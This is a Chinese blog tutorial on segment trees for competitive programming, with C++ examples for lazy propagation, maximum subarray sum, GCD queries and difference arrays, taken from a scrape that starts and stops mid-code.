#define leftSubtree(idx) (tree[tree[idx].l])
7
#define rightSubtree(idx) (tree[tree[idx].r])
8
    int l, r;
9
    int cnt;
10
} tree[N << 5];
11
int idx = 0, root[N];
12
int a[N];
13
vector<int> num;
14

15
int find(int x) {
16
    return lower_bound(num.begin(), num.end(), x) - num.begin();
17
}
18

19
void pushup(int idx) {
20
    tree[idx].cnt = (leftSubtree(idx).cnt + rightSubtree(idx).cnt);
21
}
22

23
int build(int l, int r) {
24
    int p = ++idx;
25
    if (l == r) return p;
26
    int mid = (l + r) >> 1;
27
    tree[p].l = build(l, mid);
28
    tree[p].r = build(mid + 1, r);
29
    return p;
30
}
31

32
int clone(int u) {
33
    int p = ++idx;
34
    tree[p] = tree[u];
35
    return p;
36
}
37

38
int insert(int u, int pos, int l, int r) {
39
    int p = clone(u);
40
    if (l == r) {
41
        tree[p].cnt++;
42
        return p;
43
    }
44
    int mid = (l + r) >> 1;
45
    if (pos <= mid) tree[p].l = insert(tree[u].l, pos, l, mid);
46
    else tree[p].r = insert(tree[u].r, pos, mid + 1, r);
47
    pushup(p);
48
    return p;
49
}
50

51
int query(int l, int r, int L, int R, int k) {
52
    if (l == r) return l;
53
    int mid = (l + r) >> 1;
54
    int left = leftSubtree(R).cnt - leftSubtree(L).cnt;
55
    if (left >= k) return query(l, mid, tree[L].l, tree[R].l, k);
56
    return query(mid + 1, r, tree[L].r, tree[R].r, k - left);
57
}
58

59
int main() {
60
    ios::sync_with_stdio(false);
61
    cin.tie(nullptr);
62
    cout.tie(nullptr);
63

64
    int n, m;
65
    cin >> n >> m;
66
    for (int i = 1; i <= n; i++) {
67
        int x;
68
        cin >> x;
69
        a[i] = x;
70
        num.push_back(x);
71
    }
72
    sort(num.begin(), num.end());
73
    num.erase(unique(num.begin(), num.end()), num.end());
74
    root[0] = build(0, num.size() - 1);
75
    for (int i = 1; i <= n; i++) root[i] = insert(root[i - 1], find(a[i]), 0, num.size() - 1);
76
    while (m--) {
77
        int l, r, k;
78
        cin >> l >> r >> k;
79
        cout << num[query(0, num.size() - 1, root[l - 1], root[r], k)] << endl;
80
    }
81
    return 0;
82
}

展开收起

基础数据结构线段树

Thu, 08 Aug 2024 08:23:05 GMT

Warning

旧专栏由于年久失修，目前已被标记为过时。本文是对旧博客的重写及内容补充。

线段树的思想就是把一段区间拆分成两个子区间，运用递归的方式，线段树能在不大规模改动原数组的情况下实现区间信息的维护。有了这一点，区间信息维护的时间复杂度就从朴素暴力算法的优化到了。

前言#

本文所使用的宏定义及含义如下：

宏名	定义	作用
`le(x)`	`(x * 2)`	获取左子树的下标
`ri(x)`	`(x * 2 + 1)`	获取右子树的下标
`leftSubtree(idx)`	`tree[le(idx)]`	获取左子树对象
`rightSubtree(idx)`	`tree[ri(idx)]`	获取右子树对象

线段树的建树#

根据前文所说，线段树将一段长区间分为两段，并设为它自身的子树，不断递归直到区间长度为。如下图：

可见线段树是一棵满二叉树，它有个节点（为树的高度/层数，上图中）；此外还可以发现，对于下标为的节点，如果它存在子树，那么它的左子树的下标就是、右子树为。我们平常使用线段树，则需要开四倍的空间（pushdown 位置的不同、删去某些特判可能会让这一上限最多变为八倍空间，后文将阐述其原因）。

在建树时，我们需要处理出当前区间的中点，并分别递归左右子树继续建树、顺带维护区间左右端点的信息（区间大小、初始化懒标记等）。根据前文，递归终点是区间长度降落为，此时将原序列中的信息搬过去即可。

1
void build(int idx, int l, int r) {
2
    tree[idx].l = l, tree[idx].r = r; // 维护区间左右端点
3
    if (l == r) {
4
        tree[idx].max = a[l]; // 维护区间最大值
5
        return;
6
    }
7
    int mid = (l + r) >> 1;
8
    build(le(idx), l, mid); // 递归左子树
9
    build(ri(idx), mid + 1, r); // 递归右子树
10
    pushup(idx); // 更新父节点
11
}

线段树的节点更新#

基本分两种，已知子节点更新父节点和已知父节点更新子节点。

第一种操作一般被称作 pushup 上传操作。在子节点更新完毕回溯时进行，起到更新父节点的作用；第二种操作被称作 pushdown 下传操作。在带有懒标记的线段树中向子节点递归查找信息时进行，能够将先前积累起来的操作下放到子节点。

一般在编写上传操作时，要考虑到所维护信息的结合性质。例如维护区间和，父节点记录的值显然应该是左右子树记录的值之和；再比如维护区间最大值，显然应该是左右区间分别记录的最大值中更大的那一个。

1
void pushup(int idx) {
2
    tree[idx].max = max(leftSubtree(idx).max, rightSubtree(idx).max); // 区间最大值
3
    tree[idx].sum = leftSubtree(idx).sum + rightSubtree(idx).sum;     // 区间和
4
    // ...
5
}

在写标记下传时，需要特别考虑标记之间的优先级关系。例如当前有两个操作——区间推平（赋成统一的值）和区间加。当该区间需要下传一个推平标记时，可以直接把区间加标记给清空，因为推平后就不会存在区间加；反过来就不成立，因为区间可以在推平后继续进行加法。因此我们需要先判断推平标记的情况，后面再来处理区间加标记。

1
void pushdown(int idx) {
2
    if (tree[idx].que != -LLONG_MAX) { // 区间推平优先处理
3
        leftSubtree(idx).max = tree[idx].que;
4
        leftSubtree(idx).que = tree[idx].que; // 继承推平标记
5
        leftSubtree(idx).add = 0; // 清空加法标记
6
        rightSubtree(idx).max = tree[idx].que;
7
        rightSubtree(idx).que = tree[idx].que;
8
        rightSubtree(idx).add = 0; // 清空加法标记
9
        tree[idx].que = -LLONG_MAX; // 清空推平标记
10
    }
11
    if (tree[idx].add) { // 区间加法后处理
12
        leftSubtree(idx).max += tree[idx].add;
13
        leftSubtree(idx).add += tree[idx].add;
14
        rightSubtree(idx).max += tree[idx].add;
15
        rightSubtree(idx).add += tree[idx].add;
16

17
        tree[idx].add = 0;
18
    }
19
}

展开收起

线段树的查询操作#

线段树既可以查询单点信息，也可以查询整个区间的信息，前者可以看作是区间长度为的区间查询，是区间查询的一类特殊情况。

简单查询#

在这个例子中，我们假设查询区间的某些信息，首先我们就需要找到这个区间：递归查找、缩小范围，发现当递归到下标时，区间就被包含了，于是直接返回；当查询至下标，区间被包含进去，此时我们就可以不用花费大力气继续向下递归了，因为线段树的父节点就存储了子节点的信息。以查询区间最大值为例：

1
int queryMax(int idx, int l, int r) {
2
    if (l <= tree[idx].l && tree[idx].r <= r) return tree[idx].max; // 完全包含，直接返回
3
    pushdown(idx);   // 子节点可能存在积累的操作
4
    int mid = (tree[idx].l + tree[idx].r) >> 1;
5
    int res = -INF;
6
    if (l <= mid) res = max(res, queryMax(le(idx), l, r)); // 递归左侧
7
    if (r > mid) res = max(res, queryMax(ri(idx), l, r));   // 递归右侧
8
    return res;
9
}

由于查询的值是独立的，不依赖于其他变量。如果碰到较为复杂的、多重依赖的变量，那么这种方法可能就会变得不那么适用了。接下来介绍第二种高级的查询操作，也可以说是码量较大但是更为万能的查询方法。

复杂查询#

以查询区间最大子段和为例。我们维护了区间最大前缀、最大后缀以及最大子段和，最大子段和应是左子树最大前缀、右子树最大后缀以及左子树最大后缀加右子树最大前缀三者的最大值。如果依然沿用上面的简单查询，那么实现将会极其复杂，此时我们不再让函数返回线段树节点的某一权值，而是改成返回线段树节点本身。这样一来我们就可以通过左右子节点的值来推断返回值，从而达到查询的目的。查询逻辑和简单查询有不同：

1
SegmentTree query(int idx, int l, int r) {
2
    if (l <= tree[idx].l && tree[idx].r <= r) return tree[idx];
3
    int mid = (tree[idx].l + tree[idx].r) >> 1;
4
    if (l > mid) return query(ri(idx), l, r);
5
    if (r <= mid) return query(le(idx), l, r);
6
    SegmentTree res{};
7
    SegmentTree L = query(le(idx), l, r);
8
    SegmentTree R = query(ri(idx), l, r);
9
    res.max = max(max(L.max, R.max), L.rmax + R.lmax);
10
    res.lmax = max(L.lmax, L.sum + R.lmax);
11
    res.rmax = max(R.rmax, R.sum + L.rmax);
12
    res.sum = L.sum + R.sum;
13
    return res;
14
}

首先，我们依然判断当前区间是否已被完全包含，若是则直接返回当前节点。接下来是不同之处：如果查询区间完全在中点右侧，那么返回右侧查询的结果，反之亦然，查询左侧。

如果区间不完全在中点一侧，那么左右分别查询，获得左右子节点的信息。接下来就可以按照正常的维护方法维护返回值节点的相关信息了。

线段树的修改操作#

同样分为单点修改和区间修改，前者同样是后者的特殊情况。基本思路相同，先找到被完全包含的区间。但是此时可以有一个优化——不用每一次都递归到区间的叶子节点再进行修改，可以直接将修改信息记录在一个大区间内，当查询需要用到子节点的值时再一次性下放积累的操作。线段树中记录这些操作的标记便被称作懒标记。

对于某个区间，需要先把当前区间的相关信息修改之后再返回，否则相当于没有修改（只是打个标记，当前节点并未更新）。以区间加为例：

1
void modify(int idx, int l, int r, int x) {
2
    pushdown(idx); // 可能还有积累的操作
3
    if (l <= tree[idx].l && tree[idx].r <= r) {
4
        tree[idx].max += x; // 更新当前区间的最大值
5
        tree[idx].add += x; // 打标记
6
        return;
7
    }
8
    int mid = (tree[idx].l + tree[idx].r) >> 1;
9
    if (l <= mid) modify(le(idx), l, r, x, type);
10
    if (r > mid) modify(ri(idx), l, r, x, type);
11
    pushup(idx); // 由于更新了当前节点，需要向上更新其他节点
12
}

一些细节#

一句话，让评测结果从 RE 到 AC#

有时你会发现——明明题目中说了，我也开了四倍空间，为什么还是会 RE？事实上，这可能是因为错误的 pushdown 位置和特判的缺乏。

比如下面这段区间修改的代码（来源 P2574 XOR的艺术）：

1
void modify(int idx, int l, int r, int x) {
2
    pushdown(idx);
3
    if (l <= tree[idx].l && tree[idx].r <= r) {
4
        tree[idx].sum = x * tree[idx].size;
5
        tree[idx].que = x;
6
        tree[idx].lmax[x] = tree[idx].rmax[x] = tree[idx].max[x] = tree[idx].size;
7
        tree[idx].lmax[x ^ 1] = tree[idx].rmax[x ^ 1] = tree[idx].max[x ^ 1] = 0;
8
        return;
9
    }
10
    int mid = (tree[idx].l + tree[idx].r) >> 1;
11
    if (l <= mid) modify(le(idx), l, r, x);
12
    if (r > mid) modify(ri(idx), l, r, x);
13
    pushup(idx);
14
}

其中，代码中也是如此，但是最后有两个点 RE。这是因为 pushdown 放在了错误的位置上，在递归到单点前，会执行一次 pushdown 操作，此时就会在叶子节点的左右子树上检测懒标记（事实上没必要），在极端情况下，会访问到最后一个叶子节点的右子树（最坏），是肯定会 RE 的。把下传操作放在 l == r 的判断之后即可。

标记置零问题#

有时，在下传操作中，在处理完当前标记之后是不能直接把标记置零的，例如（来源 P1253 扶苏的问题）：

1
void pushdown(int idx) {
2
    if (tree[idx].que != -LLONG_MAX) {
3
        leftSubtree(idx).max = tree[idx].que;
4
        leftSubtree(idx).que = tree[idx].que;
5
        leftSubtree(idx).add = 0;
6
        rightSubtree(idx).max = tree[idx].que;
7
        rightSubtree(idx).que = tree[idx].que;
8
        rightSubtree(idx).add = 0;
9

10
        tree[idx].que = -LLONG_MAX;
11
        tree[idx].add = 0;
12
    }
13
    if (tree[idx].add) {
14
        leftSubtree(idx).max += tree[idx].add;
15
        leftSubtree(idx).add += tree[idx].add;
16
        rightSubtree(idx).max += tree[idx].add;
17
        rightSubtree(idx).add += tree[idx].add;
18

19
        tree[idx].add = 0;
20
    }
21
}

展开收起

乍一看没什么问题，但是推平标记里 tree[idx].add = 0 却是造成 WA 的元凶。清空加运算标记，其实也就意味着把整段区间的区间加标记清空。然而在递归时是有可能向该区间的某个子区间递归的，于是当前区间就会有一头一尾的部分位置不需要被处理，但是你却把它们的区间加标记清空了，显然错误。正确做法是删去这一行。

简单应用#

这些是线段树的基础维护问题，用来夯实线段树基础，为拓展线段树的高级思维做铺垫。

单调性判断#

例题：P6812 「MCOI-02」Ancestor 先辈

难度：普及+/提高

维护变量：区间左右端点值、区间单调性标记

题目中的区间加因为比较板子故在此省去，我们只探讨区间单调性的维护方法。

对于叶子节点，必定满足单调性，我们只需考虑向上合并时的策略。注意到如果左右子树都满足单调性，那么能够决定整体区间单调性的就只有左子树的右端点和右子树的左端点的相对大小关系。故我们只需多维护当前区间的左右端点并在上传时维护单调性标记即可，维护方法见上面的分析。因为单调性标记的维护涉及到多个变量，查询时需要用到前面讲过的复杂查询。

1
#include <bits/stdc++.h>
2
#define N 1500010
3
using namespace std;
4

5
typedef long long ll;
6

7
struct SegmentTree {
8
#define le(x) (x << 1)
9
#define ri(x) (x << 1 | 1)
10
#define leftSubtree(idx) (tree[le(idx)])
11
#define rightSubtree(idx) (tree[ri(idx)])
12
    int l, r, size;
13
    ll lazy;
14
    ll ends[2];
15
    bool flag;
16
} tree[N << 2];
17
ll a[N];
18

19
void pushup(int idx) {
20
    tree[idx].flag = (leftSubtree(idx).flag & rightSubtree(idx).flag & (leftSubtree(idx).ends[1] <= rightSubtree(idx).ends[0])); // 单调递增序列需满足左子树的右端点小于等于右子树的左端点
21
    tree[idx].ends[0] = leftSubtree(idx).ends[0]; // 大区间的左端点就是左子树的左端点
22
    tree[idx].ends[1] = rightSubtree(idx).ends[1]; // 大区间的右端点就是右子树的右端点
23
}
24

25
void build(int idx, int l, int r) {
26
    tree[idx].l = l, tree[idx].r = r;
27
    tree[idx].size = r - l + 1;
28
    if (l == r) {
29
        tree[idx].flag = true;
30
        tree[idx].ends[0] = tree[idx].ends[1] = a[l];
31
        return;
32
    }
33
    int mid = l + r >> 1;
34
    build(le(idx), l, mid);
35
    build(ri(idx), mid + 1, r);
36
    pushup(idx);
37
}
38

39
void pushdown(int idx) {
40
    if (tree[idx].lazy) {
41
        leftSubtree(idx).lazy += tree[idx].lazy;
42
        leftSubtree(idx).ends[0] += tree[idx].lazy;
43
        leftSubtree(idx).ends[1] += tree[idx].lazy;
44
        rightSubtree(idx).lazy += tree[idx].lazy;
45
        rightSubtree(idx).ends[0] += tree[idx].lazy;
46
        rightSubtree(idx).ends[1] += tree[idx].lazy;
47

48
        tree[idx].lazy = 0;
49
    }
50
}
51

52
void modify(int idx, int l, int r, ll x) {
53
    if (l <= tree[idx].l && tree[idx].r <= r) {
54
        tree[idx].lazy += x;
55
        tree[idx].ends[0] += x;
56
        tree[idx].ends[1] += x;
57
        return;
58
    }
59
    pushdown(idx);
60
    int mid = tree[idx].l + tree[idx].r >> 1;
61
    if (l <= mid) modify(le(idx), l, r, x);
62
    if (r > mid) modify(ri(idx), l, r, x);
63
    pushup(idx);
64
}
65

66
// 复杂查询处理标记
67
SegmentTree query(int idx, int l, int r) {
68
    if (l <= tree[idx].l && tree[idx].r <= r) return tree[idx];
69
    pushdown(idx);
70
    int mid = tree[idx].l + tree[idx].r >> 1;
71
    if (l > mid) return query(ri(idx), l, r);
72
    if (r <= mid) return query(le(idx), l, r);
73
    SegmentTree L = query(le(idx), l, r);
74
    SegmentTree R = query(ri(idx), l, r);
75
    return {L.l, R.r, L.size + R.size, 0, {L.ends[0], R.ends[1]}, static_cast<bool>(L.flag & R.flag & (L.ends[1] <= R.ends[0]))};
76
}
77

78
int main() {
79
    ios::sync_with_stdio(false);
80
    cin.tie(nullptr);
81
    cout.tie(nullptr);
82

83
    int n, k;
84
    cin >> n >> k;
85
    for (int i = 1; i <= n; i++) cin >> a[i];
86
    build(1, 1, n);
87
    while (k--) {
88
        int opt, l, r;
89
        cin >> opt >> l >> r;
90
        if (opt == 1) {
91
            ll x;
92
            cin >> x;
93
            modify(1, l, r, x);
94
        } else cout << (query(1, l, r).flag ? "Yes" : "No") << '\n';
95
    }
96

97
    return 0;
98
}

展开收起

单点修改+区间乘积正负性#

例题：UVA12532 Interval Product

难度：普及+/提高

维护变量：正负性标记

我们都知道，异号相乘得负、同号相乘得正。对于叶子节点，正负性是可以确定的。那么考虑上传操作，发现我们只需得知左右子树的正负性就可以得到当前区间的正负性。因此用一个正负性标记，取值，那么上传时就可以用左右子树的标记乘积来更新当前区间的正负性标记。单点修改非常模板此处不再赘述。

1
#include <bits/stdc++.h>
2
#define N 100010
3
using namespace std;
4

5
struct SegmentTree {
6
#define le(x) (x << 1)
7
#define ri(x) (x << 1 | 1)
8
#define leftSubtree(x) (tree[le(x)])
9
#define rightSubtree(x) (tree[ri(x)])
10
    int l, r, size;
11
    int flag;
12
} tree[N << 2];
13
int a[N];
14

15
void pushup(int idx) {
16
    tree[idx].flag = leftSubtree(idx).flag * rightSubtree(idx).flag; // 更新标记为左右子树的标记之积
17
}
18

19
void build(int idx, int l, int r) {
20
    tree[idx].l = l, tree[idx].r = r;
21
    tree[idx].size = r - l + 1;
22
    if (l == r) {
23
        if (a[l] == 0) tree[idx].flag = 0;
24
        if (a[l] > 0) tree[idx].flag = 1;
25
        if (a[l] < 0) tree[idx].flag = -1;
26
        return;
27
    }
28
    int mid = (l + r) >> 1;
29
    build(le(idx), l, mid);
30
    build(ri(idx), mid + 1, r);
31
    pushup(idx);
32
}
33

34
void modify(int idx, int uid, int x) {
35
    if (tree[idx].size == 1 && tree[idx].l == uid) {
36
        if (x == 0) tree[idx].flag = 0;
37
        if (x > 0) tree[idx].flag = 1;
38
        if (x < 0) tree[idx].flag = -1;
39
        return;
40
    }
41
    int mid = (tree[idx].l + tree[idx].r) >> 1;
42
    if (uid <= mid) modify(le(idx), uid, x);
43
    if (uid > mid) modify(ri(idx), uid, x);
44
    pushup(idx);
45
}
46

47
int query(int idx, int l, int r) {
48
    if (l <= tree[idx].l && tree[idx].r <= r) return tree[idx].flag;
49
    int flag = 1;
50
    int mid = (tree[idx].l + tree[idx].r) >> 1;
51
    if (l <= mid) flag *= query(le(idx), l, r);
52
    if (r > mid) flag *= query(ri(idx), l, r);
53
    return flag;
54
}
55

56
int main() {
57
    ios::sync_with_stdio(false);
58
    cin.tie(nullptr);
59
    cout.tie(nullptr);
60

61
    int n, k;
62
    while (cin >> n >> k) {
63
        for (int i = 1; i <= n; i++) cin >> a[i];
64
        build(1, 1, n);
65
        while (k--) {
66
            char op;
67
            int l, r;
68
            cin >> op >> l >> r;
69
            if (op == 'C') modify(1, l, r);
70
            else {
71
                int res = query(1, l, r);
72
                cout << (res == 0 ? '0' : res < 0 ? '-' : '+');
73
            }
74
        }
75
        cout << endl;
76
    }
77

78
    return 0;
79
}

展开收起

维护差分#

线段树维护原序列的差分数组也是比较挑战思维的题型。通过维护原序列的差分序列，我们有时可以把一段区间的操作转化成对应区间端点或其邻点的单点操作。

种类数#

例题：P2184 贪婪大陆

难度：普及+/提高

维护变量：区间和

像这种每次往某个区间加入一种不同种类的值，然后询问区间覆盖了几种不同的值，可以借助差分的思想。

将每个插入操作的区间看作有左右两个端点（起点、终点）的线段，因为每次插入的是不同种类的数，因此无需过多操作。对于每个的询问，答案即为内的起点数减去内的终点数。也就是说内有若干颜色段覆盖了一些区域，而内又有一些颜色段没有覆盖到及之后的区域，二者相减就是答案。

因此插入时暴力地增加两个端点的计数，输出时统计相减即可。

1
#include <bits/stdc++.h>
2

3
#define N 100010
4
using namespace std;
5

6
struct SegmentTree {
7
#define le(x) (x << 1)
8
#define ri(x) (x << 1 | 1)
9
#define leftSubtree(idx) (tree[le(idx)])
10
#define rightSubtree(idx) (tree[ri(idx)])
11
    int l, r, size;
12
    int sum[2];
13
} tree[N << 2];
14

15
void pushup(int idx) {
16
    tree[idx].sum[0] = leftSubtree(idx).sum[0] + rightSubtree(idx).sum[0];
17
    tree[idx].sum[1] = leftSubtree(idx).sum[1] + rightSubtree(idx).sum[1];
18
}
19

20
void build(int idx, int l, int r) {
21
    tree[idx].l = l, tree[idx].r = r;
22
    tree[idx].size = r - l + 1;
23
    if (l == r) return;
24
    int mid = (l + r) >> 1;
25
    build(le(idx), l, mid);
26
    build(ri(idx), mid + 1, r);
27
    pushup(idx);
28
}
29

30
void modifySt(int idx, int uid) {
31
    if (tree[idx].size == 1 && tree[idx].l == uid) {
32
        tree[idx].sum[0]++;
33
        return;
34
    }
35
    int mid = (tree[idx].l + tree[idx].r) >> 1;
36
    if (uid <= mid) modifySt(le(idx), uid);
37
    if (uid > mid) modifySt(ri(idx), uid);
38
    pushup(idx);
39
}
40

41
void modifyEd(int idx, int uid) {
42
    if (tree[idx].size == 1 && tree[idx].l == uid) {
43
        tree[idx].sum[1]++;
44
        return;
45
    }
46
    int mid = (tree[idx].l + tree[idx].r) >> 1;
47
    if (uid <= mid) modifyEd(le(idx), uid);
48
    if (uid > mid) modifyEd(ri(idx), uid);
49
    pushup(idx);
50
}
51

52
int querySt(int idx, int l, int r) {
53
    if (l <= tree[idx].l && tree[idx].r <= r) return tree[idx].sum[0];
54
    int mid = (tree[idx].l + tree[idx].r) >> 1;
55
    int ret = 0;
56
    if (l <= mid) ret += querySt(le(idx), l, r);
57
    if (r > mid) ret += querySt(ri(idx), l, r);
58
    return ret;
59
}
60

61
int queryEd(int idx, int l, int r) {
62
    if (l <= tree[idx].l && tree[idx].r <= r) return tree[idx].sum[1];
63
    int mid = (tree[idx].l + tree[idx].r) >> 1;
64
    int ret = 0;
65
    if (l <= mid) ret += queryEd(le(idx), l, r);
66
    if (r > mid) ret += queryEd(ri(idx), l, r);
67
    return ret;
68
}
69

70
int main() {
71
    ios::sync_with_stdio(false);
72
    cin.tie(nullptr);
73
    cout.tie(nullptr);
74

75
    int n, m;
76
    cin >> n >> m;
77
    build(1, 1, n);
78
    while (m--) {
79
        int q, l, r;
80
        cin >> q >> l >> r;
81
        if (q == 1) modifySt(1, l), modifyEd(1, r);
82
        else cout << querySt(1, 1, r) - queryEd(1, 1, l - 1) << endl;
83
    }
84
    return 0;
85
}

展开收起

区间加等差数列、单点询问#

例题：P1438 无聊的数列

难度：普及+/提高

维护变量：差分数组、区间和、区间和标记

注意到等差数列差分数组中的元素除左端点外都是其公差，因此我们维护原序列的差分数组。对原数组对位加等差数列就相当于让差分数组的左端点加上首项、中间点加上公差、右端点右侧第一个点减去末项。那么进行两次单点修改和一次区间修改即可。注意到差分的前缀和是对应的点权，所以统计前缀和即可回答单点询问。注意判断等差数列的长度！

1
#include <bits/stdc++.h>
2

3
#define N 100100
4
using namespace std;
5

6
typedef long long ll;
7

8
struct SegmentTree {
9
#define le(x) (x << 1)
10
#define ri(x) (x << 1 | 1)
11
#define leftSubtree(x) (tree[le(x)])
12
#define rightSubtree(x) (tree[ri(x)])
13
    int l, r, size;
14
    ll lazy, sum;
15
} tree[N << 2];
16
int a[N];
17

18
void pushup(int idx) {
19
    tree[idx].sum = leftSubtree(idx).sum + rightSubtree(idx).sum;
20
}
21

22
void pushdown(int idx) {
23
    if (tree[idx].lazy) {
24
        leftSubtree(idx).sum += tree[idx].lazy * leftSubtree(idx).size;
25
        leftSubtree(idx).lazy += tree[idx].lazy;
26
        rightSubtree(idx).sum += tree[idx].lazy * rightSubtree(idx).size;
27
        rightSubtree(idx).lazy += tree[idx].lazy;
28

29
        tree[idx].lazy = 0;
30
    }
31
}
32

33
void build(int idx, int l, int r) {
34
    tree[idx].l = l, tree[idx].r = r;
35
    tree[idx].size = r - l + 1;
36
    if (l == r) {
37
        tree[idx].sum = a[l] - a[l - 1];
38
        return;
39
    }
40
    int mid = (l + r) >> 1;
41
    build(le(idx), l, mid);
42
    build(ri(idx), mid + 1, r);
43
    pushup(idx);
44
}
45

46
void modify(int idx, int l, int r, int x) {
47
    if (l <= tree[idx].l && tree[idx].r <= r) {
48
        tree[idx].lazy += x;
49
        tree[idx].sum += x * tree[idx].size;
50
        return;
51
    }
52
    pushdown(idx);
53
    int mid = (tree[idx].l + tree[idx].r) >> 1;
54
    if (l <= mid) modify(le(idx), l, r, x);
55
    if (r > mid) modify(ri(idx), l, r, x);
56
    pushup(idx);
57
}
58

59
void modify(int idx, int uid, int x) {
60
    if (tree[idx].size == 1 && tree[idx].l == uid) {
61
        tree[idx].sum += x;
62
        return;
63
    }
64
    pushdown(idx);
65
    int mid = (tree[idx].l + tree[idx].r) >> 1;
66
    if (uid <= mid) modify(le(idx), uid, x);
67
    if (uid > mid) modify(ri(idx), uid, x);
68
    pushup(idx);
69
}
70

71
ll query(int idx, int uid) {
72
    if (tree[idx].r <= uid) return tree[idx].sum;
73
    pushdown(idx);
74
    ll ret = 0;
75
    int mid = (tree[idx].l + tree[idx].r) >> 1;
76
    ret += query(le(idx), uid);
77
    if (uid > mid) ret += query(ri(idx), uid);
78
    return ret;
79
}
80

81
int main() {
82
    ios::sync_with_stdio(false);
83
    cin.tie(nullptr);
84
    cout.tie(nullptr);
85

86
    int n, m;
87
    cin >> n >> m;
88
    for (int i = 1; i <= n; i++) cin >> a[i];
89
    build(1, 1, n);
90
    while (m--) {
91
        int opt, l, r, k, d;
92
        cin >> opt >> l;
93
        if (opt == 1) {
94
            cin >> r >> k >> d;
95
            modify(1, l, k);
96
            if (l < r) modify(1, l + 1, r, d); // 数列长度为 1，仅单点修改
97
            if (r < n) modify(1, r + 1, (l - r) * d - k); // 右端点在最右侧，无需更改右端点右侧的差分
98
        } else cout << query(1, l) << endl;
99
    }
100

101
    return 0;
102
}

展开收起

区间加+区间最大公约数#

例题：P10463 Interval GCD

难度：提高+/省选-

维护变量：差分数组

属于是回归老祖宗的智慧了

OI 所学的最大公约数计算一般是欧几里得提出的辗转相除法，然而《九章算术》中提出的辗转相减法（更相减损术）却总是被人忽略。根据辗转相减法，，这个式子可以一直递归下去直到出现的形式，答案就是。这启发我们维护原序列的差分数组来操作，我们可以发现，区间加操作就转化为了差分数组两端点的修改。

除此之外，最大公约数还满足以下性质：

也就是说上传操作时当前区间的最大公约数就应该是左右子树二者的最大公约数的最大公约数，叶子节点的最大公约数应是它自身的值。同样的，多个数求最大公约数也可以转化为两两求解最大公约数。

总结：对于一个数列，它的差分数组为，那么数列所有元素的最大公约数应是。因此需要额外知道查询区间的左端点值，差分数组的前缀和即为单点值，于是再维护一个区间和即可完成。同上面那道题一样，修改左右端点时需注意边界。

1
#include <bits/stdc++.h>
2
#define N 500010
3
using namespace std;
4

5
typedef long long ll;
6

7
struct SegmentTree {
8
#define le(x) (x << 1)
9
#define ri(x) (x << 1 | 1)
10
#define leftSubtree(x) (tree[le(x)])
11
#define rightSubtree(x) (tree[ri(x)])
12
    int l, r, size;
13
    ll sum, gcd;
14
} tree[N << 2];
15
ll a[N];
16

17
void pushup(int idx) {
18
    tree[idx].sum = leftSubtree(idx).sum + rightSubtree(idx).sum;
19
    tree[idx].gcd = gcd(leftSubtree(idx).gcd, rightSubtree(idx).gcd);
20
}
21

22
void build(int idx, int l, int r) {
23
    tree[idx].l = l, tree[idx].r = r;
24
    tree[idx].size = r - l + 1;
25
    if (l == r) {
26
        tree[idx].sum = tree[idx].gcd = a[l] - a[l - 1];
27
        return;
28
    }
29
    int mid = (l + r) >> 1;
30
    build(le(idx), l, mid);
31
    build(ri(idx), mid + 1, r);
32
    pushup(idx);
33
}
34

35
void modify(int idx, int uid, ll x) {
36
    if (tree[idx].size == 1 && tree[idx].l == uid) {
37
        tree[idx].sum += x;
38
        tree[idx].gcd += x;
39
        return;
40
    }
41
    int mid = (tree[idx].l + tree[idx].r) >> 1;
42
    if (uid <= mid) modify(le(idx), uid, x);
43
    if (uid > mid) modify(ri(idx), uid, x);
44
    pushup(idx);
45
}
46

47
ll querySum(int idx, int r) {
48
    if (tree[idx].r <= r) return tree[idx].sum;
49
    int mid = (tree[idx].l + tree[idx].r) >> 1;
50
    ll ret = 0;
51
    ret += querySum(le(idx), r);
52
    if (r > mid) ret += querySum(ri(idx), r);
53
    return ret;
54
}
55

56
ll queryGcd(int idx, int l, int r) {
57
    if (l <= tree[idx].l && tree[idx].r <= r) return tree[idx].gcd;
58
    int mid = (tree[idx].l + tree[idx].r) >> 1;
59
    ll ret = 0;
60
    if (l <= mid) ret = gcd(ret, queryGcd(le(idx), l, r));
61
    if (r > mid) ret = gcd(ret, queryGcd(ri(idx), l, r));
62
    return ret;
63
}
64

65
int main() {
66
    ios::sync_with_stdio(false);
67
    cin.tie(nullptr);
68
    cout.tie(nullptr);
69

70
    int n, m;
71
    cin >> n >> m;
72
    for (int i = 1; i <= n; i++) cin >> a[i];
73
    build(1, 1, n);
74
    while (m--) {
75
        char op;
76
        int l, r;
77
        cin >> op >> l >> r;
78
        if (op == 'C') {
79
            ll x;
80
            cin >> x;
81
            modify(1, l, x);
82
            if (r < n) modify(1, r + 1, -x);
83
        } else cout << abs(gcd(querySum(1, l), queryGcd(1, l + 1, r))) << endl; // 注意取绝对值
84
    }
85

86
    return 0;
87
}

展开收起

较复杂的序列操作#

数据结构维护序列也是常考的一个点，维护二进制序列的各种操作又从中脱颖而出。由于操作的复杂性，它们有时还会涉及到多重懒标记的下传优先级和清空问题。本节重点在讲解一些序列上的经典操作的维护。

非空最大子段和#

例题：GSS1 - Can you answer these queries I（单点带修请见 GSS3，维护思路完全相同）

难度：提高+/省选-

维护变量：最大前缀、最大后缀、最大子段和、区间和。

维护最大子段和考虑三种情况：

最大子段和为左侧的最大子段和
最大子段和为右侧的最大子段和
最大子段和跨区间，为左区间的最大后缀加右区间的最大前缀

最大子段和就是上述三种情况的最大值。

维护最大前缀考虑两种情况（最大后缀同理）：

最大前缀为左区间的最大前缀
最大前缀跨区间，为整个左区间和右区间的最大前缀之和

最大前/后缀就是上述两种情况的最大值。

注意选取的子段中必须包含至少一个元素（即非空最大子段和），否则不可用这种方式做。

1
#include <bits/stdc++.h>
2
#define N 50010
3
using namespace std;
4

5
struct SegmentTree {
6
#define le(x) (x << 1)
7
#define ri(x) (x << 1 | 1)
8
#define leftSubtree(idx) (tree[le(idx)])
9
#define rightSubtree(idx) (tree[ri(idx)])
10
    int l, r;
11
    int max, lmax, rmax;
12
    int sum;
13
} tree[N << 2];
14

15
int a[N];
16

17
void pushup(int idx) {
18
    tree[idx].max = max(max(leftSubtree(idx).max, rightSubtree(idx).max), leftSubtree(idx).rmax + rightSubtree(idx).lmax);
19
    tree[idx].lmax = max(leftSubtree(idx).lmax, leftSubtree(idx).sum + rightSubtree(idx).lmax);
20
    tree[idx].rmax = max(rightSubtree(idx).rmax, rightSubtree(idx).sum + leftSubtree(idx).rmax);
21
    tree[idx].sum = leftSubtree(idx).sum + rightSubtree(idx).sum;
22
}
23

24
